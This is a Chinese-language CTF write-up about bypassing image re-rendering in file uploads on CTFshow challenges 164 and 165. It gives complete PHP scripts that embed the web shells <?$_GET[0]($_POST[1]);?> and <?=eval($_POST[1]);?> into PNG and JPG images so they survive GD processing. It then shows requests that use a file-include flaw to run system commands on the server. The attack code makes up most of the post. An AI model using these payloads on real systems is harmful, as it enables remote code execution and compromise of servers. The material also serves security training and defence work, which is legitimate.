基於CTFshow的檔案上傳二次渲染繞過與CTF實戰

星海河發表於2024-09-28

1. 二次渲染簡介

二次渲染指的是上傳的檔案（如圖片），為了顯示的更加規範（尺寸、畫素），網站會對檔案進行二次處理，經過解碼或轉換可能導致其中的惡意程式碼失效。例如，後門程式在影像渲染過程中可能被清除或無法執行。

2. 二次渲染存在性判斷

2.1 檔案大小變化

訪問上傳的檔案地址，重新下載下來，檢視檔案大小是否發生改變

2.2 圖片資料包

將上傳圖片的傳送包和訪問檔案地址的返回包發到burpsuite的compare模組，檢視是否存在差異

3. png繞過二次渲染——Web 164

3.1 題目分析

嘗試上傳一張正常的圖片，下載上傳後的檔案檢視，發現本題對圖片進行了二次渲染，寫入的php程式碼容易損壞。
隨意寫入一些內容，上傳失敗顯示檔案型別不合規。本題在在檔案上傳時進行了CRC（迴圈冗餘校驗）以確保檔案未被篡改。我們在PNG檔案中新增了文字，導致檔案結構被破壞，從而無法透過校驗。因此我們插入php程式碼後，必須重新計算相應的crc值並修改才能透過校驗

3.2 生成後門圖片

因此推薦使用以下指令碼直接直接對圖片插入後門程式碼：

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);
 
 
 
$img = imagecreatetruecolor(32, 32);
 
for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'1.png');  //要修改的圖片的路徑
 
/* 木馬內容
<?$_GET[0]($_POST[1]);?>
 */
//imagepng($img,'1.png');  要修改的圖片的路徑,1.png是使用的檔案，可以不存在
//會在目錄下自動建立一個1.png圖片
//圖片指令碼內容：$_GET[0]($_POST[1]);
//使用方法：例子：檢視圖片，get傳入0=system；post傳入tac flag.php
?>

使用方法：
配置php環境變數，在該指令碼資料夾下執行以下cmd命令

php 指令碼名.php 要修改的圖片名.png

然後就會在當前資料夾生成一個1.png，包含的木馬內容如下

<?$_GET[0]($_POST[1]);?>

3.3 後門程式碼利用

訪問圖片地址，利用如下的惡意程式碼將想要的內容輸出到1.txt

https://xxx/download.php?image=xxxxx&0=system
post:
	1=ls > 1.txt
	1=tac flag.php >1.txt

訪問https://xxx/1.txt，得到以下內容
|700
|700

3.4 為什麼圖片解析php

在本題中，我透過向圖片傳php惡意程式碼，竟然成功執行了，這是為什麼呢？
我們tac一下download.php來看一下

}	echo "图片错误";
}else{
	include("./upload/".strrev($file));
	header('Content-Type:image/png');
if($ext==='.png' && file_exists("./upload/".strrev($file))){
$ext = strrev(substr($file, 0,4));
$file = strrev($file);

$file= $_GET['image'];

程式碼的邏輯總結：

  1. 從 URL 獲取檔名：透過 $_GET['image'] 獲取傳遞的檔名。
  2. 處理檔名：透過 strrev() 反轉檔名來獲取實際的檔案，並透過 substr() 獲取檔案的副檔名。
  3. 檢查檔案是否存在且為 PNG 格式：判斷副檔名是否為 .png，以及檔案是否存在於 ./upload/ 目錄。
  4. 輸出圖片檔案：如果條件滿足，包含並輸出這個檔案，並將響應頭設為 image/png 以顯示 PNG 圖片。

這下明白了，本題檢視圖片的功能是透過檔案包含的形式實現的，傳入圖片的程式碼被包含到了download.php，從而成功被執行

4. jpg繞過二次渲染——Web 165

4.1 生成後門圖片

利用以下指令碼生成，需要注意的是：是先上傳原圖，把二次渲染後的圖片進行指令碼加工

<?php
    /*
將有效載荷注入JPG影像的演算法，該演算法在PHP函式imagecopyresized()和imagecopyresampled()引起的變換後保持不變。
初始影像的大小和質量必須與處理後的影像的大小和質量相同。
1)透過安全檔案上傳指令碼上傳任意影像
2)儲存處理後的影像並啟動:
php 檔名.php <檔名.jpg >
如果注射成功，您將獲得一個特製的影像，該影像應再次上傳。
由於使用了最直接的注射方法，可能會出現以下問題:
1)在第二次處理之後，注入的資料可能變得部分損壞。
jpg _ payload.php指令碼輸出“有問題”。
如果發生這種情況，請嘗試更改有效載荷(例如，在開頭新增一些符號)或嘗試另一個初始影像。
謝爾蓋·博布羅夫@Black2Fan。
另請參見:
https://www . idontplaydarts . com/2012/06/encoding-we B- shell-in-png-idat-chunks/
*/

    $miniPayload = '<?=eval($_POST[1]);?>';
 
 
    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }
    
    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }
 
    set_error_handler("custom_error_handler");
 
    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;
 
        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }
 
        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');
 
    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }
 
    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }
 
    class DataInputStream {
        private $binData;
        private $order;
        private $size;
 
        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }
 
        public function seek() {
            return ($this->size - strlen($this->binData));
        }
 
        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }
 
        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }
 
        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }
 
        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

後門程式碼為

<?=eval($_POST[1]);?>

4.2 後門程式碼利用

https://xxx/download.php?image=xxxxx
post:
	1=system("ls > 1.txt");
	1=system("tac flag.php > 1.txt");

訪問https://xxx/1.txt

5. 宇宙安全宣告

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